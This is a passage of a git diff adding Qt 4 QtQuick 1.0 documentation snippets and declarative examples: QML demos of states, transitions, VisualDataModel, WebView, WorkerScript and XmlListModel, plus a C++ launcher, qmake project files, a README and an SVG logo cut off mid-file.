+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Rectangle {
+ width: 150; height: 250
+
+ Rectangle {
+ id: stopLight
+ x: 25; y: 15; width: 100; height: 100
+ }
+ Rectangle {
+ id: goLight
+ x: 25; y: 135; width: 100; height: 100
+ }
+
+ states: [
+ State {
+ name: "stop"
+ PropertyChanges { target: stopLight; color: "red" }
+ PropertyChanges { target: goLight; color: "black" }
+ },
+ State {
+ name: "go"
+ PropertyChanges { target: stopLight; color: "black" }
+ PropertyChanges { target: goLight; color: "green" }
+ }
+ ]
+
+ state: "stop"
+
+ MouseArea {
+ anchors.fill: parent
+ onClicked: parent.state == "stop" ?
+ parent.state = "go" : parent.state = "stop"
+ }
+
+ //! [list of transitions]
+ transitions: [
+ Transition {
+ from: "stop"; to: "go"
+ PropertyAnimation { target: stopLight
+ properties: "color"; duration: 1000 }
+ },
+ Transition {
+ from: "go"; to: "stop"
+ PropertyAnimation { target: goLight
+ properties: "color"; duration: 1000 }
+ } ]
+ //! [list of transitions]
+}
diff --git a/doc/src/snippets/declarative/visualdatamodel.qml b/doc/src/snippets/declarative/visualdatamodel.qml
new file mode 100644
index 00000000..e6e84056
--- /dev/null
+++ b/doc/src/snippets/declarative/visualdatamodel.qml
@@ -0,0 +1,64 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+//![0]
+import QtQuick 1.0
+
+Rectangle {
+ width: 200; height: 100
+
+ VisualDataModel {
+ id: visualModel
+ model: ListModel {
+ ListElement { name: "Apple" }
+ ListElement { name: "Orange" }
+ }
+ delegate: Rectangle {
+ height: 25
+ width: 100
+ Text { text: "Name: " + name}
+ }
+ }
+
+ ListView {
+ anchors.fill: parent
+ model: visualModel
+ }
+}
+//![0]
diff --git a/doc/src/snippets/declarative/visualdatamodel_rootindex/main.cpp b/doc/src/snippets/declarative/visualdatamodel_rootindex/main.cpp
new file mode 100644
index 00000000..50d6998f
--- /dev/null
+++ b/doc/src/snippets/declarative/visualdatamodel_rootindex/main.cpp
@@ -0,0 +1,62 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include <QDeclarativeView>
+#include <QDeclarativeContext>
+
+#include <QApplication>
+#include <QDirModel>
+
+//![0]
+int main(int argc, char ** argv)
+{
+ QApplication app(argc, argv);
+
+ QDeclarativeView view;
+
+ QDirModel model;
+ view.rootContext()->setContextProperty("dirModel", &model);
+
+ view.setSource(QUrl::fromLocalFile("view.qml"));
+ view.show();
+
+ return app.exec();
+}
+//![0]
+
diff --git a/doc/src/snippets/declarative/visualdatamodel_rootindex/view.qml b/doc/src/snippets/declarative/visualdatamodel_rootindex/view.qml
new file mode 100644
index 00000000..8b0c8554
--- /dev/null
+++ b/doc/src/snippets/declarative/visualdatamodel_rootindex/view.qml
@@ -0,0 +1,65 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+//![0]
+import QtQuick 1.0
+
+ListView {
+ id: view
+ width: 300
+ height: 400
+
+ model: VisualDataModel {
+ model: dirModel
+
+ delegate: Rectangle {
+ width: 200; height: 25
+ Text { text: filePath }
+
+ MouseArea {
+ anchors.fill: parent
+ onClicked: {
+ if (model.hasModelChildren)
+ view.model.rootIndex = view.model.modelIndex(index)
+ }
+ }
+ }
+ }
+}
+//![0]
diff --git a/doc/src/snippets/declarative/visualdatamodel_rootindex/visualdatamodel_rootindex.pro b/doc/src/snippets/declarative/visualdatamodel_rootindex/visualdatamodel_rootindex.pro
new file mode 100644
index 00000000..fec070cb
--- /dev/null
+++ b/doc/src/snippets/declarative/visualdatamodel_rootindex/visualdatamodel_rootindex.pro
@@ -0,0 +1,4 @@
+TEMPLATE = app
+QT += gui declarative
+
+SOURCES += main.cpp
diff --git a/doc/src/snippets/declarative/webview/webview.qml b/doc/src/snippets/declarative/webview/webview.qml
new file mode 100644
index 00000000..ec0f632e
--- /dev/null
+++ b/doc/src/snippets/declarative/webview/webview.qml
@@ -0,0 +1,53 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//! [document]
+//! [import]
+import QtWebKit 1.0
+//! [import]
+
+WebView {
+ url: "http://www.nokia.com"
+ preferredWidth: 490
+ preferredHeight: 400
+ scale: 0.5
+ smooth: false
+}
+//! [document]
diff --git a/doc/src/snippets/declarative/workerscript.qml b/doc/src/snippets/declarative/workerscript.qml
new file mode 100644
index 00000000..1ffb198e
--- /dev/null
+++ b/doc/src/snippets/declarative/workerscript.qml
@@ -0,0 +1,64 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//![0]
+import QtQuick 1.0
+
+Rectangle {
+ width: 300; height: 300
+
+ Text {
+ id: myText
+ text: 'Click anywhere'
+ }
+
+ WorkerScript {
+ id: myWorker
+ source: "script.js"
+
+ onMessage: myText.text = messageObject.reply
+ }
+
+ MouseArea {
+ anchors.fill: parent
+ onClicked: myWorker.sendMessage({ 'x': mouse.x, 'y': mouse.y })
+ }
+}
+//![0]
diff --git a/doc/src/snippets/declarative/xmlrole.qml b/doc/src/snippets/declarative/xmlrole.qml
new file mode 100644
index 00000000..02f76b3e
--- /dev/null
+++ b/doc/src/snippets/declarative/xmlrole.qml
@@ -0,0 +1,80 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Rectangle {
+ width: 300; height: 200
+
+//![0]
+XmlListModel {
+ id: model
+//![0]
+ source: "xmlrole.xml"
+
+//![1]
+ // XmlRole queries will be made on <book> elements
+ query: "/catalogue/book"
+
+ // query the book title
+ XmlRole { name: "title"; query: "title/string()" }
+
+ // query the book's year
+ XmlRole { name: "year"; query: "year/number()" }
+
+ // query the book's type (the '@' indicates 'type' is an attribute, not an element)
+ XmlRole { name: "type"; query: "@type/string()" }
+
+ // query the book's first listed author (note in XPath the first index is 1, not 0)
+ XmlRole { name: "first_author"; query: "author[1]/string()" }
+}
+//![1]
+
+ListView {
+ width: 300; height: 200
+ model: model
+ delegate: Column {
+ Text { text: title + " (" + type + ")"; font.bold: true }
+ Text { text: first_author }
+ Text { text: year }
+ }
+}
+
+}
diff --git a/doc/src/snippets/declarative/xmlrole.xml b/doc/src/snippets/declarative/xmlrole.xml
new file mode 100644
index 00000000..c9f999e5
--- /dev/null
+++ b/doc/src/snippets/declarative/xmlrole.xml
@@ -0,0 +1,14 @@
+<?xml version="1.0" encoding="iso-8859-1" ?>
+<catalogue>
+ <book type="Hardcover">
+ <title>C++ GUI Programming with Qt 4</title>
+ <year>2006</year>
+ <author>Jasmin Blanchette</author>
+ <author>Mark Summerfield</author>
+ </book>
+ <book type="Paperback">
+ <title>Programming with Qt</title>
+ <year>2002</year>
+ <author>Matthias Kalle Dalheimer</author>
+ </book>
+ </catalogue>
diff --git a/examples/declarative/README b/examples/declarative/README
new file mode 100644
index 00000000..578c2458
--- /dev/null
+++ b/examples/declarative/README
@@ -0,0 +1,41 @@
+The Qt Declarative module provides the ability to specify and implement
+your user interface declaratively, using the Qt Meta-Object Language (QML). This
+language is very expressive and human readable, and can be used by
+designers to actually implement their UI vision. QML UIs can integrate
+with C++ code in many ways, including being loaded as a part of a C++ UI
+and loading data models from C++ and interacting with them.
+
+The example launcher provided with Qt can be used to explore each of the
+examples in this directory. But most can also be viewed directly with the
+QML viewer utility, without requiring compilation.
+
+Documentation for these examples can be found via the Tutorials and Examples
+link in the main Qt documentation.
+
+
+Finding the Qt Examples and Demos launcher
+==========================================
+
+On Windows:
+
+The launcher can be accessed via the Windows Start menu. Select the menu
+entry entitled "Qt Examples and Demos" entry in the submenu containing
+the Qt tools.
+
+On Mac OS X:
+
+For the binary distribution, the qtdemo executable is installed in the
+/Developer/Applications/Qt directory. For the source distribution, it is
+installed alongside the other Qt tools on the path specified when Qt is
+configured.
+
+On Unix/Linux:
+
+The qtdemo executable is installed alongside the other Qt tools on the path
+specified when Qt is configured.
+
+On all platforms:
+
+The source code for the launcher can be found in the demos/qtdemo directory
+in the Qt package. This example is built at the same time as the Qt libraries,
+tools, examples, and demonstrations.
diff --git a/examples/declarative/animation/animation.pro b/examples/declarative/animation/animation.pro
new file mode 100644
index 00000000..a71df66d
--- /dev/null
+++ b/examples/declarative/animation/animation.pro
@@ -0,0 +1,8 @@
+TEMPLATE = subdirs
+
+SUBDIRS += \
+ basics/property-animation \
+ basics/color-animation \
+ easing \
+ behaviors/behavior-example \
+ states
diff --git a/examples/declarative/animation/basics/color-animation/basics.qmlproject b/examples/declarative/animation/basics/color-animation/basics.qmlproject
new file mode 100644
index 00000000..3c80d748
--- /dev/null
+++ b/examples/declarative/animation/basics/color-animation/basics.qmlproject
@@ -0,0 +1,16 @@
+import QmlProject 1.0
+
+Project {
+ /* Include .qml, .js, and image files from current directory and subdirectories */
+ QmlFiles {
+ directory: "qml/color-animation"
+ }
+ JavaScriptFiles {
+ directory: "qml/color-animation"
+ }
+ ImageFiles {
+ directory: "qml/color-animation/images"
+ }
+ /* List of plugin directories passed to QML runtime */
+ // importPaths: [ " ../exampleplugin " ]
+}
diff --git a/examples/declarative/animation/basics/color-animation/color-animation.png b/examples/declarative/animation/basics/color-animation/color-animation.png
new file mode 100644
index 00000000..707d5c4e
--- /dev/null
+++ b/examples/declarative/animation/basics/color-animation/color-animation.png
Binary files differ
diff --git a/examples/declarative/animation/basics/color-animation/color-animation.pro b/examples/declarative/animation/basics/color-animation/color-animation.pro
new file mode 100644
index 00000000..0272cdb2
--- /dev/null
+++ b/examples/declarative/animation/basics/color-animation/color-animation.pro
@@ -0,0 +1,51 @@
+# Add more folders to ship with the application, here
+folder_01.source = qml/color-animation
+folder_01.target = qml
+DEPLOYMENTFOLDERS = folder_01
+
+# Additional import path used to resolve QML modules in Creator's code model
+QML_IMPORT_PATH =
+
+# Avoid auto screen rotation
+#DEFINES += ORIENTATIONLOCK
+
+# Needs to be defined for Symbian
+#DEFINES += NETWORKACCESS
+
+symbian:TARGET.UID3 = 0xE959F610
+
+# Smart Installer package's UID
+# This UID is from the protected range
+# and therefore the package will fail to install if self-signed
+# By default qmake uses the unprotected range value if unprotected UID is defined for the application
+# and 0x2002CCCF value if protected UID is given to the application
+#symbian:DEPLOYMENT.installer_header = 0x2002CCCF
+
+# Define QMLJSDEBUGGER to allow debugging of QML in debug builds
+# (This might significantly increase build time)
+# DEFINES += QMLJSDEBUGGER
+
+# If your application uses the Qt Mobility libraries, uncomment
+# the following lines and add the respective components to the
+# MOBILITY variable.
+# CONFIG += mobility
+# MOBILITY +=
+
+# The .cpp file which was generated for your project. Feel free to hack it.
+SOURCES += main.cpp
+
+# Please do not modify the following two lines. Required for deployment.
+desktopInstallPrefix=$$[QT_INSTALL_EXAMPLES]/declarative/animation/basics/color-animation
+exists(qmlapplicationviewer/qmlapplicationviewer.pri):include(qmlapplicationviewer/qmlapplicationviewer.pri)
+else:include(../../../../helper/qmlapplicationviewer/qmlapplicationviewer.pri)
+qtcAddDeployment()
+
+OTHER_FILES += \
+ qtc_packaging/debian_harmattan/rules \
+ qtc_packaging/debian_harmattan/README \
+ qtc_packaging/debian_harmattan/manifest.aegis \
+ qtc_packaging/debian_harmattan/copyright \
+ qtc_packaging/debian_harmattan/control \
+ qtc_packaging/debian_harmattan/compat \
+ qtc_packaging/debian_harmattan/changelog
+
diff --git a/examples/declarative/animation/basics/color-animation/color-animation.svg b/examples/declarative/animation/basics/color-animation/color-animation.svg
new file mode 100644
index 00000000..566acfad
--- /dev/null
+++ b/examples/declarative/animation/basics/color-animation/color-animation.svg
@@ -0,0 +1,93 @@
+<?xml version="1.0" encoding="UTF-8" standalone="no"?>
+<svg
+ xmlns:dc="http://purl.org/dc/elements/1.1/"
+ xmlns:cc="http://creativecommons.org/ns#"
+ xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+ xmlns:svg="http://www.w3.org/2000/svg"
+ xmlns="http://www.w3.org/2000/svg"
+ xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
+ xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
+ height="44px"
+ version="1.1"
+ viewBox="0 0 44 44"
+ width="44px"
+ x="0px"
+ y="0px"
+ id="svg2"
+ inkscape:version="0.47 r22583"
+ sodipodi:docname="qt.svg">
+ <metadata
+ id="metadata18">
+ <rdf:RDF>
+ <cc:Work
+ rdf:about="">
+ <dc:format>image/svg+xml</dc:format>
+ <dc:type
+ rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
+ </cc:Work>
+ </rdf:RDF>
+ </metadata>
+ <defs
+ id="defs16">
+ <inkscape:perspective
+ sodipodi:type="inkscape:persp3d"
+ inkscape:vp_x="0 : 22 : 1"
+ inkscape:vp_y="0 : 1000 : 0"
+ inkscape:vp_z="44 : 22 : 1"
+ inkscape:persp3d-origin="22 : 14.666667 : 1"
+ id="perspective2836" />
+ </defs>
+ <sodipodi:namedview
+ pagecolor="#ffffff"
+ bordercolor="#666666"
+ borderopacity="1"
+ objecttolerance="10"
+ gridtolerance="10"
+ guidetolerance="10"
+ inkscape:pageopacity="0"
+ inkscape:pageshadow="2"
+ inkscape:window-width="1920"
+ inkscape:window-height="1020"
+ id="namedview14"
+ showgrid="false"
+ inkscape:zoom="21.454545"
+ inkscape:cx="49.412871"
+ inkscape:cy="21.894358"
+ inkscape:window-x="-4"
+ inkscape:window-y="-4"
+ inkscape:window-maximized="1"
+ inkscape:current-layer="g3" />
+ <g
+ transform="matrix(0.18308778,0,0,0.18308778,6.6100946,3.2385199)"
+ id="g3">
+ <path
+ d="M 43.09,0.3586 C 40.94,0.0036 38.84,-0.0824 36.81,0.0776 31.968136,0.39505671 27.122677,0.73638425 22.28,1.0696 9.62,2.0816 0,12.4996 0,26.8896 l 0,169.7 14.19,13.2 28.87,-209.42 0.03,-0.011 z"
+ style="fill:#006225"
+ id="path5"
+ sodipodi:nodetypes="cccccccc" />
+ <path
+ d="m 174.4,160 c 0,12.5 -7.75,24.07 -17.57,25.77 L 14.23,209.73 V 25.93 C 14.23,9.21 27.57,-2.27 43.12,0.3 l 131.3,21.52 v 138.2 z"
+ style="fill:#80c342"
+ id="path7" />
+ <path
+ d="m 154.9,80.96 -12.96,-0.598 0,0.278 6.945,0.32 6.016,0 z"
+ style="fill:#006225"
+ id="path11" />
+ <path
+ d="m 144.6,135.6 c 0.66,0.328 1.43,0.476 2.351,0.476 0.161,0 0.329,-0.004 0.497,-0.016 2.55,-0.148 5.32,-0.933 8.343,-2.308 h -6.015 c -1.821,0.832 -3.532,1.457 -5.176,1.848 z"
+ style="fill:#006225"
+ id="path13" />
+ <path
+ id="path17"
+ style="fill:#ffffff"
+ d="m 91.15,132.4 c 2.351,-6.051 3.511,-17.91 3.511,-35.62 0,-15.89 -1.148,-26.82 -3.484,-32.81 -2.336,-6.027 -5.832,-9.281 -10.52,-9.691 -0.359,-0.031 -0.714,-0.051 -1.058,-0.051 -4.34,0 -7.68,2.535 -10.01,7.625 -2.52,5.543 -3.793,17.04 -3.793,34.44 0,16.82 1.238,28.75 3.734,35.75 2.356,6.672 5.879,9.976 10.5,9.976 0.207,0 0.41,-0.008 0.621,-0.019 4.633,-0.293 8.121,-3.496 10.49,-9.602 m 17.98,3.75 c -4.117,9.707 -10.39,16.06 -18.99,19 0.867,4.449 2.176,7.441 3.922,9.019 1.351,1.211 3.433,1.821 6.222,1.821 0.805,0 1.668,-0.055 2.59,-0.157 v 13.12 l -5.961,0.782 c -1.758,0.23 -3.426,0.343 -5.004,0.343 -5.218,0 -9.445,-1.265 -12.62,-3.824 -4.207,-3.379 -7.308,-9.894 -9.297,-19.54 -9.136,-1.945 -16.26,-7.754 -21.19,-17.5 -5.004,-9.902 -7.551,-24.39 -7.551,-43.34 0,-20.43 3.484,-35.51 10.34,-45.07 5.789,-8.07 13.86,-12.04 24.02,-12.04 1.629,0 3.309,0.102 5.043,0.305 11.95,1.375 20.62,7.016 26.26,16.79 5.535,9.562 8.254,23.27 8.254,41.26 0,16.48 -2,29.45 -6.043,39.02 z M 130.4,45.91 l 11.52,1.238 0,20.21 12.96,0.914 0,12.68 -12.96,-0.598 0,46.33 c 0,4.032 0.445,6.625 1.34,7.789 0.8,1.067 2.046,1.594 3.71,1.594 0.161,0 0.329,-0.004 0.497,-0.016 2.55,-0.148 5.32,-0.933 8.343,-2.308 v 11.65 c -5.136,2.258 -10.18,3.598 -15.12,4.02 -0.718,0.055 -1.41,0.086 -2.078,0.086 -4.48,0 -7.906,-1.301 -10.25,-3.934 -2.73,-3.051 -4.09,-7.949 -4.09,-14.67 V 79.535 L 118.046,79.25 V 65.66 l 7.586,0.547 4.773,-20.3 z" />
+ <path
+ d="m 100.3,166 c 0.809,0 1.672,-0.055 2.59,-0.157 H 98.054 C 98.73,165.949 99.507,166 100.3,166 z"
+ style="fill:#006225"
+ id="path19" />
+ <path
+ id="path21"
+ style="fill:#006225"
